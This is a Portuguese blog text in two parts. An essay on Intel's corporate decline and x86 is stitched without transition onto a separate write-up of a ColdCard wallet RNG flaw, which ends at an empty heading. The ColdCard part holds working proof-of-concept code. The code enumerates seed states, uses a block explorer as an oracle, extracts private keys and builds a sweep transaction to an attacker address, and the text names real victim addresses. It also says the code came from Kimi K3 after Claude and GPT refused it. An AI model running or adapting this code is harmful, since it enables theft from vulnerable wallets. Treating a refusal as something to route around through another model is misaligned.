A Chips and Cheese fez o experimento perfeito: no mesmo encode HEVC 4K, um Ampere ARM levou mais de doze vezes o tempo de um Zen 2 com o ffmpeg padrão; usando assembly NEON, o tempo do ARM caiu mais de 60%. A diferença nunca foi ARM contra x86 — era extensão vetorial bem usada contra extensão vetorial ignorada. No mundo real, o trabalho pesado mora nas extensões e nos aceleradores, e esses são ortogonais ao ISA base.

Pra guardar: o trabalho pesado moderno — vídeo, cripto, IA — roda em extensões e aceleradores dedicados, ortogonais ao ISA base.

A queda foi gerencial, não arquitetural

Aqui a parte que me convence de vez. Olha a linha do tempo e tenta achar “o x86 era uma limitação fundamental” em algum ponto:

• 2005-2006: a Intel recusa fabricar o chip do iPhone — o Otellini admitiu o arrependimento em entrevista de saída à The Atlantic: “o mundo teria sido muito diferente”. E o detalhe tragicômico: a Intel tinha uma divisão ARM (a XScale) — e vendeu pra Marvell em 2006 por US$600 milhões. Não foi falta de tecnologia; foi falta de visão.
• 2013-2021: três CEOs. Krzanich sai em 2018 por escândalo interno. Entra Bob Swan, um CFO de finanças, pra comandar uma empresa de engenharia no momento mais delicado da história dela.
• 2018-2020: o 10nm vira piada (Cannon Lake só em tiragem limitada) e em julho de 2020 a Intel anuncia atraso no 7nm — a ação cai 16% num dia. Em abril de 2019, abandona o modem 5G de smartphone; a Apple compra o negócio por US$1 bilhão. Em novembro de 2020, o M1.
• 2021-2024: Gelsinger volta com o plano IDM 2.0, “cinco nós em quatro anos”. Em dezembro de 2024 é empurrado pra “aposentadoria” — ultimato do conselho, segundo Reuters e Bloomberg. O ano fecha com prejuízo de US$18,8 bilhões, 15 mil demissões, dividendo suspenso e a Intel expulsa do Dow Jones depois de 25 anos — substituída pela Nvidia, que naquele momento valia mais de 30 vezes a Intel. Até outubro de 2025, a conta de demissões acumuladas chegava a 35.500.

Nada nessa lista é arquitetura. É produto perdido, fab atrasada, decisão errada atrás de decisão errada. O x86 estava lá, competente, enquanto a empresa desmontava ao redor dele.

Pra guardar: iPhone recusado, XScale vendida, 10nm quebrado, três CEOs, US$18,8 bilhões de prejuízo — a queda da Intel foi decisão atrás de decisão, não limitação do x86.

O resgate improvável

E aí 2025 acontece. Lip-Bu Tan assume em março. Em agosto, Trump exige a cabeça dele no Truth Social por laços com a China — e poucos dias depois, após uma reunião na Casa Branca, vira fã do cara. No dia 22 de agosto, o governo americano compra 9,9% da Intel: 433,3 milhões de ações a US$20,47, US$8,9 bilhões no total, convertendo subsídios do CHIPS Act em participação acionária, sem assento no conselho. A SoftBank coloca US$2 bilhões. E a cereja surreal: a Nvidia — a mesma que a expulsou do Dow — investe US$5 bilhões e fecha parceria pra colocar chiplets RTX em CPUs x86.

O resultado financeiro começou a aparecer: Q1 2026 com receita de US$13,6 bilhões (+7% ao ano), Q2 com US$16,1 bilhões (+25%), sétimo trimestre seguido acima das projeções. A ação que o governo pagou US$20,47 chegou a mais de seis vezes esse valor em maio, quando a Bloomberg noticiou conversas pra Intel fabricar chips da Apple — reportagem preliminar, produção a anos de distância, mas o mercado pirou. Mesmo depois de esfriar, a posição do governo americano segue valendo cinco vezes o que custou. O contribuinte dos EUA é, hoje, sócio lucrativo da Intel. Vai entender.

Pra guardar: governo dos EUA, SoftBank e Nvidia como sócios, e a ação cinco vezes acima do preço que o governo pagou — a Intel virou causa nacional, e o mercado comprou a volta.

A volta, com os pés no chão

O Panther Lake é o primeiro produto grande do 18A — RibbonFET (transistor gate-all-around) mais PowerVia (alimentação pelo verso do wafer), saindo da Fab 52 em Chandler, Arizona. Tem ironia deliciosa aqui: o tile de GPU de 12 núcleos do topo de linha ainda é fabricado pela TSMC. E o aproveitamento do 18A (a fração de chips bons por wafer), segundo a Tom’s Hardware, só deve chegar ao padrão da indústria em 2027 — a rampa é lenta e a Ars Technica acerta na dúvida: é o novo normal ou uma aberração?

Mas o ponto deste artigo não é torcida organizada. É que o Panther Lake encerra empiricamente um debate que era teológico. Um x86-64 em processo competitivo entrega bateria de MacBook, empata multi-core com o M5 e ganha da concorrência Windows em vários cenários. Se o ISA fosse o fator decisivo, isso não aconteceria nunca, em nenhum processo. O que derrubou a Intel foi gestão; o que a traz de volta é fab e foco; e o que separa Apple, Qualcomm, AMD e Intel é microarquitetura, cache, processo e integração — exatamente como o Jim Keller e a literatura sempre disseram.

Torço pela volta dela. Não por nostalgia de quem montou PC com Pentium, mas porque o mercado de laptops eficientes estava virando duopólio confortável — e duopólio confortável é inimigo de preço e de inovação. Que a briga continue.

Pra guardar: o Panther Lake encerra um debate teológico: x86 competitivo existe quando a fábrica é competitiva. O jogo nunca foi sobre instruções.

O código didático deste artigo foi gerado com Kimi K3. É curioso notar que, ao mesmo prompt, tanto o Claude quanto o GPT se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.

O objetivo é responder, linha a linha, a uma pergunta que muita gente fez: “se a ColdCard fica offline, como os bitcoins sumiram?”.

Aviso: o código aqui é educacional. Rodá-lo contra endereços que não são seus é crime. Use-o para entender o risco, testar seeds suas em ambiente controlado e reforçar por que você precisa gerar entropia nova.

O resumo do post anterior

Entre março de 2021 e a correção de julho de 2026, vários firmwares da ColdCard geraram seeds a partir de um gerador determinístico em vez do TRNG de hardware. A culpa foi de uma integração errada: a macro MICROPY_HW_ENABLE_RNG foi definida como 0, mas a guarda no libNgU usava #ifndef, que só pergunta se o símbolo existe. O build passou, a chamada rng_get() caiu no fallback de software Yasmarang do MicroPython, e a seed passou a ser produzida a partir do UID do microcontrolador e de registradores de tempo.

Para quem não lida com hardware, vale traduzir essas siglas:

• UID (Unique Identifier) é o número de série gravado de fábrica no chip do microcontrolador. No STM32F4 usado pela ColdCard, ele tem 96 bits — algo como 0x4A3F B201 C847 D5E9 1234 5678. Cada chip sai da linha de montagem com um UID diferente, mas ele é fixo e pode ser lido por software. Se o atacante souber (ou puder restringir) esse número, ele já elimina uma das incógnitas.
• RTC (Real-Time Clock) é o relógio de tempo real do microcontrolador. Em um PC, esse relógio costuma ser mantido por uma bateria de botão e continua contando mesmo com a máquina desligada. A ColdCard não tem essa bateria. Nos Mk2/Mk3 o oscilador do RTC fica desabilitado durante a inicialização, o que sugere fortemente que os registradores RTC->TR e RTC->SSR leiam zero ou um valor estático toda vez que o aparelho liga “frio”. Nos Mk4/Q/Mk5 a fonte do RTC é configurada, mas marcada como não usada, e a inicialização do RTC pelo MicroPython continua desabilitada. Ou seja: o “tempo” não é uma fonte de entropia nova aqui — é mais um valor fixo ou previsível que o atacante pode perfilar.
• SysTick é outro timer, este dentro do próprio núcleo ARM, que conta em alta velocidade — tipicamente de 0 até 0x00FFFFFF e volta a zero. Quando o firmware lê esse contador no momento da criação da seed, ele captura um valor como 0x003D7A12. Como o RTC provavelmente não varia entre boots frios, o SysTick vira praticamente o único elemento dinâmico do estado inicial. A Block estima que, sozinho, ele pode limitar o espaço a ~80 mil possibilidades (~16 bits).

A análise da Block e o backgrounder técnico da Coinkite concordam no mecanismo, embora difiram nos detalhes de impacto. O post de ontem tem a tabela completa de firmwares afetados.

O ponto central é: a entropia efetiva caiu de pelo menos 128 bits para algo na casa de 40 bits no Mk3 e 72 bits (com ressalvas) nos modelos mais novos. Quarenta bits não são seguros. São enumeráveis com hardware barato.

A carteira não fica “dentro” da ColdCard

Antes de entrar no ataque, vale repetir o básico. Bitcoin não fica dentro do aparelho. A blockchain pública contém UTXOs — outputs de transações — bloqueados por scripts. O que sua wallet guarda é o material para produzir assinaturas que satisfazem esses scripts.

No caso mais comum, um endereço SegWit nativo é derivado de uma chave pública, que por sua vez vem de uma chave privada, que é só um número inteiro dentro do domínio da curva secp256k1. Quem conhece o número pode assinar. Quem não conhece, não consegue.

Por isso a ColdCard pode estar desligada, sem bateria, dentro de um cofre. O atacante não precisa tocá-la. Ele só precisa reproduzir o mesmo número inteiro que ela sorteou. Com um RNG fraco, isso deixa de ser impossível e vira busca em espaço pequeno.

Você pode ver qualquer wallet na blockchain. Basta colar um endereço ou xpub em um explorador como o mempool.space. O explorador mostra saldo, UTXOs e histórico porque esses dados são públicos por design. A ColdCard, a Ledger, o Sparrow, o Electrum — nenhum deles “segura” seus bitcoins; eles apenas guardam as chaves que permitem gastar os UTXOs que estão no livro-razão global.

Como o atacante prioriza os modelos

Nem todos os modelos são igualmente fáceis de atacar. A ordem de prioridade segue o tamanho do espaço de busca:

Por que o Mk3 é o mais fácil? Porque nele não há nenhuma contribuição criptográfica de um secure element. O fallback Yasmarang é totalmente determinístico dado o UID e o estado do timer. Se o atacante souber (ou puder restringir) esses valores, não existe segredo residual. A Coinkite estima o espaço efetivo em cerca de 40 bits; a Block mostra que, como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, o SysTick sozinho limita o espaço a ~80 mil valores, ou seja, ~16 bits.

Nos Mk4/Q/Mk5 o reseed do secure element acrescenta 32 bits. Isso é o suficiente para tornar o ataque muito mais caro — mas ainda longe dos 128 bits mínimos aceitáveis. Além disso, a Block aponta um caminho no fonte em que uma exceção capturada durante a inicialização pode fazer o reseed não acontecer, caindo de volta no espaço menor.

O atacante racional começa pelo maior retorno: Mk2/Mk3 v4. Depois parte para Mk4/Q/Mk5 apenas se tiver recursos sobrando.

128 bits, 40 bits e 72 bits: qual é a diferença?

Bits medem o tamanho do espaço de busca. Cada bit a mais dobra o trabalho. A diferença não é pequena — é exponencial.

Imagine que você consegue testar 1 bilhão de candidatos por segundo:

Outra forma de enxergar: 40 bits é como procurar uma folha específica em uma pequena floresta. 72 bits é como procurar um grão de areia específico em todas as praias do planeta. 128 bits é como procurar um átomo específico entre todos os átomos de milhares de planetas.

Por isso 40 bits não são “um pouco menos seguros” que 128. São uma categoria completamente diferente: passível de ataque prático com hardware comum. 72 bits já exige recursos sérios, mas ainda está abaixo do mínimo aceitável para guardar valor. 128 bits é o padrão porque, com a computação conhecida, não dá para vencer.

De um número inteiro para uma wallet

Abaixo, um exemplo real de como um número (a entropia) vira seed, chave privada e endereço. Usei 16 bytes (128 bits) só para caber numa linha; a ColdCard usava 32 bytes, mas a ideia é a mesma.

from embit.bip39 import mnemonic_from_bytes, mnemonic_to_seed
from embit.bip32 import HDKey
from embit.script import p2wpkh

entropy = bytes.fromhex("0123456789abcdef0123456789abcdef")  # 128 bits
mnemonic = mnemonic_from_bytes(entropy)
seed = mnemonic_to_seed(mnemonic)
root = HDKey.from_seed(seed)
key = root.derive("m/84'/0'/0'/0/0")

Saída:

entropia (128 bits): 0123456789abcdef0123456789abcdef
mnemonic (12 palavras): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
chave privada (número inteiro): 1332683685242456724974769347593961509584253593377187298409830148921683854281
endereço: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw

A chave privada é só um número inteiro. A partir dele, a curva elíptica calcula a chave pública; a chave pública é hasheada até virar o endereço. O endereço é o que aparece na blockchain; o número inteiro é o que permite gastar.

No caso ColdCard, o número inteiro não tinha 128 bits de aleatoriedade real. Tinha ~40. Então, em vez de procurar uma agulha no universo, o atacante procurava uma agulha em uma floresta pequena.

Evidência real na blockchain

Não estou inventando números. O site independente coldcard-watch.vercel.app vem rastreando os drains transação a transação e publica o mínimo verificado: 1.128,6633 BTC drenados de 2.334 endereços confirmados. O próprio site deixa claro que esses são mínimos verificados, não totais — outras clusters provavelmente existem.

Ele identifica dois episódios de drenagem:

• 30 de julho de 2026, blocos 960183 a 960191 — 1.195 endereços drenados.
• 31 de julho de 2026, blocos 960345 a 960369 — 1.126 endereços drenados.

Os principais clusters públicos que compõem esse mínimo incluem:

• bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0 — recebeu 594,47723261 BTC em 501 outputs.
• bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3 — recebeu ~398,476 BTC em uma única transação com 491 inputs (14edd9ee...).
• bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q — recebeu ~89,623 BTC em uma única transação com 204 inputs (4b50d61a...).

Só esses três clusters já somam ~1.082 BTC; as demais transações verificadas levam o total mínimo para 1.128,6633 BTC.

O primeiro cluster transferiu ~562 BTC para bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r; é o mesmo dinheiro, não uma quarta vítima.

Um exemplo concreto: a transação 78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d consolida três inputs do mesmo endereço vulnerável bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, sendo um deles de quase 29,9 BTC. Os três inputs usam a mesma chave pública comprimida:

037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e

Ou seja, três UTXOs diferentes, mesmo dono, mesma chave privada. O atacante encontrou essa chave e assinou tudo de uma vez.

Outros endereços de origem com valores expressivos incluem bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf (~24,08 BTC), bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5 (~14,43 BTC) e bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw (~11,74 BTC). Você pode clicar em cada um e ver os UTXOs sendo movidos para um endereço de consolidação.

A Bitcoin Optech edição 416 estimava perdas acima de 1.000 BTC enquanto o caso se desenrolava; o rastreamento independente agora confirma pelo menos 1.128,6633 BTC roubados.

O que a timeline na blockchain sugere sobre a ordem do ataque

O coldcard-watch mostra dois episódios distintos, separados por mais de 24 horas. O primeiro aconteceu entre os blocos 960183 e 960191 (30 de julho, por volta de 01:10 UTC); o segundo, entre 960345 e 960369 (31 de julho). Dentro do primeiro episódio, os três grandes clusters (~594, ~398 e ~89 BTC) foram minerados em blocos consecutivos — portanto, dentro de cada onda as varreduras foram disparadas praticamente ao mesmo tempo.

Essa forma de ondas separadas é compatível com duas interpretações:

1. Mesmo atacante, pré-computação em lotes. A primeira onda pega os alvos mais fáceis e mais bem financiados; a segunda onda vem de um segundo lote de candidatos já pré-computados.
2. Múltiplos atacantes. Depois que a falha se tornou pública, outros atores entraram com seus próprios dicionários de estados prováveis.

Em qualquer um dos casos, a economia do ataque favorece a ordem da tabela anterior. O Mk2/Mk3 v4 é o melhor custo-benefício:

• ~40 bits efetivos ≈ 2^40 ≈ 1,1 trilhão de estados candidatos.
• Numa GPU que teste 1 milhão de candidatos por segundo (incluindo derivação BIP32 e consulta ao explorer), levaria cerca de 13 dias para varrer tudo. Com 100 GPUs/FPGAs, cai para poucas horas.
• Como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, conforme a Block aponta, o SysTick sozinho reduz o espaço a ~80 mil valores (~16 bits), tornando a busca trivial em segundos.

Mk4/Q/Mk5 com reseed depende do quanto o fallback é conhecido:

• Se o fallback é conhecido, só restam os 32 bits do secure element: 2^32 ≈ 4,3 bilhões de candidatos por aparelho, ou cerca de 1,2 hora por dispositivo a 1 milhão/s.
• Se o fallback é completamente desconhecido, o espaço sobe para ~2^72, cerca de 4,7 sextilhões de candidatos — inviável por força bruta pura.

Por isso a primeira onda deve ser dominada por Mk3. A segunda onda, mais de um dia depois, pode incluir lotes adicionais do mesmo modelo ou modelos mais difíceis em que o atacante conseguiu perfilar o fallback. Sem identificar o modelo por trás de cada endereço, não dá para afirmar com certeza, mas a ordem de dificuldade está clara.

A velocidade também mostra que o ataque não começou do zero no dia 30 de julho. Para varrer 1,1 trilhão de estados e achar centenas de endereços com saldo, o atacante já tinha infraestrutura pronta ou passou dias ou semanas pré-computando antes de mover os primeiros UTXOs.

O que a chain revela sobre a operação

O site coldcard-hack.up.railway.app analisa em detalhe as três ondas que esvaziaram 1.082,59 BTC em 41 minutos (blocos 960183 a 960191). Embora o site avise que foi compilado por um agente de IA e não revisado por humanos, os dados da blockchain são verificáveis:

Detalhes que saltam aos olhos:

• Ordem por saldo: dentro de cada onda, as transações foram ordenadas do maior para o menor saldo. Isso não é acidente; é uma fila de prioridade configurada no script.
• Formato idêntico: todas as 1.195 sweeps gastam todos os UTXOs de um único endereço de origem para um único output, sem troco. Não há variação manual.
• Taxa uniforme: mediana de 30,136986 sat/vB em todas as ondas — o mesmo script escolhendo a taxa.
• Tipos de endereço: 1.182 eram SegWit nativo (v0_p2wpkh), 7 P2SH-wrapped e 6 legacy. Portanto o ataque não se limitou a BIP84, embora a maioria dos usuários ColdCard use bech32.
• Fundos parados: até o momento em que o site congelou os dados, os ~1.082 BTC ainda estavam nos vaults, sem mixer, sem peel chain, sem movimentação posterior.

Tudo isso aponta para uma única operação automatizada, não para 1.195 roubos independentes.

Como isso passou despercebido

O mesmo coldcard-hack.up.railway.app mapeia os commits que introduziram o bug. Os fatos mais graves:

• O commit que adicionou a guarda #ifndef errada no libngu teve uma mensagem de um caractere, alterou 28 arquivos e não passou por pull request.
• O commit First pass w/ libNgU, que migrou a geração de seeds para o libngu e removeu código GPL, alterou 120 arquivos e também foi empurrado diretamente, sem PR.
• Os dois commits posteriores que adicionaram o reseed de 32 bits e a mistura do secure element até abriram PRs, mas foram mergeados com zero reviews.

Uma mudança crítica no caminho de geração de entropia passou sem revisão end-to-end. O TRNG correto existia no binário; o problema foi que o símbolo errado foi linkado, e ninguém escreveu um teste que provasse de onde a seed realmente vinha.

O passo a passo conceitual do ataque

Antes do código, o fluxo geral:

1. Reproduzir o RNG. O atacante implementa o Yasmarang exatamente como no firmware, incluindo o XOR com o segundo Yasmarang do libNgU.
2. Enumerar estados plausíveis. Para cada combinação de UID, SysTick, RTC e, nos modelos novos, reseed do secure element, ele gera os 32 bytes que a ColdCard teria gerado como entropia.
3. Derivar a wallet. A partir dessa entropia, calcula a mnemonic BIP39, a seed BIP32, e deriva os primeiros endereços de recebimento e troco.
4. Consultar a blockchain. Para cada endereço derivado, pergunta a um explorador ou a um node próprio se existe UTXO.
5. Parar no match. Quando um endereço derivado bate com um endereço que tem saldo, o atacante já tem a chave privada correspondente.
6. Gastar. Com a chave privada, ele monta uma transação que move o UTXO para um endereço que ele controla.

A blockchain é o oráculo. Sem ela, o atacante não saberia qual estado gerou dinheiro real. Com ela, cada UTXO encontrado confirma que ele acertou a chave.

Código de prova de conceito

O script abaixo é didático. Ele não foi otimizado para GPU, não roda em segundos contra 40 bits e não lida com todas as variações de firmware. O que ele faz é tornar o ataque legível, função por função.

1. O PRNG quebrado: Yasmarang

def yasmarang_step(state):
    """state = [pad, n, d, dat]; muta a lista e devolve um uint32."""
    pad, n, d, dat = state

    pad = (pad + dat + d * n) & 0xFFFFFFFF
    pad = ((pad << 3) | (pad >> 29)) & 0xFFFFFFFF
    n = pad | 2
    d = (d ^ ((pad << 31) | (pad >> 1))) & 0xFFFFFFFF
    dat = (dat ^ (pad & 0xFF) ^ ((d >> 8) & 0xFF) ^ 1) & 0xFF

    out = (pad
           ^ ((d << 5) & 0xFFFFFFFF)
           ^ (pad >> 18)
           ^ ((dat << 1) & 0xFFFFFFFF)) & 0xFFFFFFFF

    state[:] = [pad, n, d, dat]
    return out

O que faz: implementa o gerador determinístico que estava no firmware. É a mesma função que qualquer um pode copiar do código fonte do MicroPython.

Exemplo de estado:

>>> s = [0x0A8CE26F, 69, 233, 0]
>>> [hex(yasmarang_step(s)) for _ in range(3)]
['0x12f99f10', '0x1e0841df', '0x8f794c6c']

2. Do estado do RNG para entropia da ColdCard

def coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed=None):
    """
    Simula o que a ColdCard fazia para gerar os 32 bytes de entropia.

    - MicroPython inicializa seu Yasmarang com:
        pad = UID_low32 ^ SysTick->VAL
        n   = RTC->TR
        d   = RTC->SSR
    - libNgU mantém um segundo Yasmarang com constantes públicas.
    - Cada palavra de 32 bits é: chip ^ my_yasmarang().
    - Nos Mk4/Q/Mk5, o reseed altera o 'pad' do estado do libNgU.
    """
    mpy_state = [uid_low32 ^ systick, rtc_tr, rtc_ssr, 0]
    libngu_state = [0x0A8CE26F, 69, 233, 0]

    if reseed is not None:
        # reseed() no firmware só sobrescreve yasmarang_pad
        libngu_state[0] = reseed & 0xFFFFFFFF

    # A ColdCard pode fazer chamadas extras antes de gerar a seed (health
    # check, etc.). Na prática o atacante modela o histórico exato de
    # chamadas. Aqui simplificamos para 8 palavras = 32 bytes.
    words = []
    for _ in range(8):
        chip = yasmarang_step(mpy_state)
        mix = chip ^ yasmarang_step(libngu_state)
        words.append(struct.pack("<I", mix))

    return b"".join(words)

O que faz: monta o estado inicial. O pad do MicroPython é UID_low32 ^ SysTick; n e d vêm do RTC. O libNgU entra com constantes públicas. Cada palavra é o XOR das duas. Esse XOR não cria aleatoriedade: se os dois lados são reproduzíveis, o resultado também é.

Exemplo:

>>> coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
'3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66'

3. De entropia para endereço Bitcoin

def first_addresses(entropy_bytes, account=0):
    """
    Dada a entropia bruta, gera a mnemonic BIP39, a seed BIP32 e os
    primeiros endereços SegWit nativos de recebimento e troco.
    """
    mnemonic = mnemonic_from_bytes(entropy_bytes)
    seed = mnemonic_to_seed(mnemonic)
    root = HDKey.from_seed(seed)

    addrs = {"mnemonic": mnemonic}
    for change in [0, 1]:
        for idx in range(5):
            path = f"m/84'/0'/{account}'/{change}/{idx}"
            key = root.derive(path)
            addr = p2wpkh(key.key.get_public_key()).address()
            label = "receive" if change == 0 else "change"
            addrs.setdefault(label, []).append(addr)
    return addrs

O que faz: pega os 32 bytes, transforma em 24 palavras BIP39, calcula a seed, abre a árvore BIP32 e deriva os endereços. Na prática o atacante testa dezenas ou centenas de índices e também outras contas.

Exemplo:

>>> cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
>>> cand["mnemonic"]
'copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup'
>>> cand["receive"][0]
'bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp'

4. Consultar a blockchain como oráculo

def has_utxo(address):
    """True se o endereço tiver qualquer UTXO no mempool.space."""
    url = f"https://mempool.space/api/address/{address}/utxo"
    try:
        r = requests.get(url, timeout=10)
        r.raise_for_status()
        return len(r.json()) > 0
    except Exception as e:
        print("erro consultando", address, e)
        return False

O que faz: faz a pergunta real. Sem essa consulta, o atacante não saberia se acertou. A blockchain é o oráculo.

Exemplo de não acerto:

>>> has_utxo("bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp")
False

O atacante descarta e passa ao próximo candidato.

Exemplo de acerto (o endereço real da vítima bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, antes do sweep):

[
  {
    "txid": "78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d",
    "vout": 0,
    "value": 2989251877,
    "status": {"confirmed": true, "block_height": 960188}
  }
]

Quando has_utxo devolve True, o atacante sabe que a seed que ele acabou de gerar produz aquele endereço — e, portanto, a chave privada correspondente.

5. Enumerar candidatos e caçar

def brute_mk3(uid_low32):
    """
    Exemplo para Mk3/Mk2 v4: varre SysTick e RTC plausíveis.
    Na prática o atacante usa GPUs/FPGAs e restringe o UID pelo serial.
    """
    for systick in range(80_000):
        for rtc_tr in range(0x000000, 0x240000, 0x100):
            for rtc_ssr in range(0, 256):
                yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr)


def brute_mk4(uid_low32, systick, rtc_tr, rtc_ssr):
    """
    Exemplo para Mk4/Q/Mk5: o fallback é fixado e o atacante enumera
    os 2^32 valores possíveis do reseed do secure element.
    """
    for reseed in range(0x100000000):
        yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed)


def hunt(uid_low32, generator):
    for entropy in generator:
        candidate = first_addresses(entropy)
        for addr in candidate["receive"] + candidate["change"]:
            if has_utxo(addr):
                print("ACERTOU!")
                print("  mnemonic:", candidate["mnemonic"])
                print("  endereço :", addr)
                return candidate


# Exemplo didático: use um UID conhecido e um gerador Mk3 reduzido.
# hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))

O que fazem: brute_mk3 varre estados plausíveis para Mk3; brute_mk4 varre os 2^32 reseeds do secure element; hunt é o loop que gera, deriva e checa. O atacante real não roda em Python; escreve isso em C/CUDA/FPGA e paraleliza por UID. Mas a lógica é idêntica.

Depois de achar a colisão

Quando hunt retorna, o atacante já tem a mnemonic e o endereço com saldo. Com elas, ele obtém a chave privada:

from embit.bip39 import mnemonic_to_seed
from embit.bip32 import HDKey

seed = mnemonic_to_seed(candidate_mnemonic)
root = HDKey.from_seed(seed)
addr_key = root.derive("m/84'/0'/0'/0/0")

print("WIF comprimido:", addr_key.key.wif())
print("Endereço      :", addr_key.address())

Saída típica:

WIF comprimido: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
Endereço      : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp

Esse WIF é a chave privada no formato que qualquer wallet entende. A partir daqui o atacante pode:

1. Importar a seed ou o WIF no Sparrow, Electrum ou outra wallet.
2. Rescanar a blockchain para ver todos os UTXOs daquela seed.
3. Montar uma transação mandando os fundos para um endereço que ele controla.
4. Assinar e transmitir.

Exemplo concreto de sweep

No caso real, o atacante varreu o UTXO de 29.89251877 BTC do endereço bc1qe85jr... para o endereço de consolidação. O que ele precisava produzir era uma transação assinada. O esqueleto, com valores didáticos e um input fictício, fica assim:

from bitcoinlib.transactions import Transaction
from bitcoinlib.keys import HDKey

# chave recuperada a partir da seed colidida
key = HDKey.from_seed(candidate_mnemonic).derive("m/84'/0'/0'/0/0")

input_value  = 2_989_251_877      # 29.89251877 BTC, em satoshis
fee          = 7_380              # taxa em satoshis
output_value = input_value - fee  # o que sobra para o atacante

tx = Transaction(network='bitcoin', fee=fee, witness_type='segwit')
tx.add_input(
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',  # txid do UTXO da vítima
    0,
    keys=key,
    value=input_value,
    locking_script=bytes.fromhex('0014') + key.hash160,
    script_type='sig_pubkey',
    address=key.address()
)
tx.add_output(output_value, 'bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru')  # endereço do atacante
tx.sign()

print(tx.raw_hex())

Uma transação assinada válida tem esse formato (hex truncado):

01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...

O atacante transmite esse hex para qualquer node Bitcoin (mempool.space, seu próprio node, Electrum, etc.). O protocolo não pergunta de onde veio a chave; só verifica se a assinatura satisfaz o script. Se a assinatura for válida, a rede inclui a transação no próximo bloco e o UTXO muda de dono.

No ataque real, isso foi feito 1.195 vezes em 41 minutos, todos com o mesmo script, a mesma taxa e a mesma lógica de ordenação por saldo.

O que essa classe de bugs significa

Esse não é um ataque à curva elíptica, ao SHA-256, ao BIP39 ou ao Bitcoin. É um ataque à entropia. O fabricante reduziu o espaço de chaves e o protocolo simplesmente aceitou as assinaturas que saíram daquele espaço menor.

Três lições:

1. Não confie na aparência de aleatoriedade. O output do Yasmarang passa por testes estatísticos simples e parece aleatório. Mas se o estado inicial é previsível, toda a sequência é previsível.
2. Hash não cria entropia. Passar 40 bits de entrada por SHA-256 duas vezes gera um hash bonito e uniforme, mas ainda existem no máximo 2^40 hashes possíveis. O atacante enumera as entradas, não os hashes.
3. A blockchain é pública e permanente. Uma wallet vulnerável pode ficar anos quieta até alguém ligar os pontos. No dia em que o ataque é publicado, todos os UTXOs daquele espaço de chaves viram alvos.

Dá para pegar o criminoso?

Uma pergunta que aparece toda vez que um roubo de criptomoedas ganha escala é: “será que dá para rastrear quem fez isso?”. A resposta curta é: talvez, mas não é trivial, e rastrear não é o mesmo que recuperar os bitcoins.

Clay Garrett, que está entre as pessoas investigando o caso, publicou uma thread no X alegando que a equipe dele identificou um padrão de varredura incomum. Segundo a thread, o operador do ataque teria usado uma conta paga de um provedor de serviços blockchain bem conhecido para consultar os endereços-fonte e a atividade relacionada durante os sweeps. Os logs do provedor teriam correspondido, com “especificidade extraordinária”, ao número, ao timing e à sequência das requisições. O provedor, segundo Garrett, estava apenas fornecendo serviços normais; as requisições em si não revelavam para que serviam.

O que isso significa, se for confirmado:

• Um provedor de serviços blockchain tipicamente exige conta, e muitas vezes pagamento. Isso pode deixar rastros: e-mail, método de pagamento, endereço IP, horários de acesso, padrão de uso da API.
• Se a conta passou por KYC, a probabilidade de identificar uma pessoa sobe muito. Se o pagamento foi feito com criptomoeda, voucher anônimo ou cartão de terceiros, o vínculo se torna fraco.
• Mesmo com um IP ou e-mail, o operador pode ter usado VPN, Tor, computação em nuvem descartável ou identidade roubada. Cada camada adicional reduz a chance de chegar até a pessoa real.
• Os fundos, até onde se sabe, ainda não foram movidos para mixers ou trocas. Enquanto estiverem parados, existe uma janela para congelamento ou recuperação judicial. Assim que forem trocados, misturados ou convertidos em fiat off-shore, a recuperação do ativo fica drasticamente mais difícil.

Ou seja: a thread aponta para uma linha de investigação promissora, mas é uma alegação em andamento, não uma prova concluída. Capturar o operador depende de como ele se expôs nos serviços terceirizados, da qualidade dos logs, da jurisdição e da velocidade das autoridades. Recuperar os bitcoins depende de onde as moedas estiverem quando isso acontecer. As duas coisas estão relacionadas, mas não são a mesma coisa.

O que o atacante ainda não fez

